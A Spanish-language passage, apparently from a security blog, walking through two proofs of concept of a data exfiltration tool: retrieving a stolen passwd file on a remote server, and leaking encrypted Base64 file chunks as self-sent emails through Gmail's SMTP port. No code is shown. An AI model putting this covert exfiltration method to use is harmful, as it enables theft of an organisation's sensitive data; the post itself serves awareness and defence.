        El fichero queda almacenado en el servidor con el nombre [original].[fecha]. Tal y como se puede visualizar en la imagen, se obtiene el fichero passwd original y totalmente legible para cualquier usuario del exterior. El robo y la extracción de información del interior de la organización ha sido llevado a cabo de forma silenciosa.


        PoC 2: Robando información a través de la cuenta de Gmail

        En esta segunda prueba de concepto el escenario es muy similar. La única diferencia es que el cliente se conectará al puerto 587 de Gmail para dejar en su bandeja de entrada distintos emails con trozos cifrados de archivo y codeados en Base64. Hay que modificar el fichero config.json e indicar el usuario y contraseña de la cuenta de Gmail. 

        Una vez realizado este paso hay que lanzar el servidor con la configuración adecuada de Gmail. Para ello se indica con el parámetro –p que el plugin a utilizar es el de Gmail y solo ese.

         
        El cliente se invoca de forma similar a cómo se hizo en la prueba de concepto anterior, salvo que la configuración del json ha cambiado en el plugin de Gmail y que se indica que solo se quiere utilizar el plugin de Gmail. Es bastante interesante ver cómo se indica que se envían emails a uno mismo para ir dejando la información en los distintos correos electrónicos.


        Si se entrase a través del navegador a la cuenta de Gmail utilizada para este ejercicio se podría ver cómo hay diferentes correos electrónicos dónde se puede ver un contenido en base64, el cual son trozos de ficheros. 


        Esta vía de Data Exfiltration es una manera sencilla y limpia utilizando un tercero de confianza, como puede ser Gmail, para extraer dicha información. ¿Y en tu empresa? ¿Qué medidas tienes para evitar este robo de información o extracción de información sensible corporativa?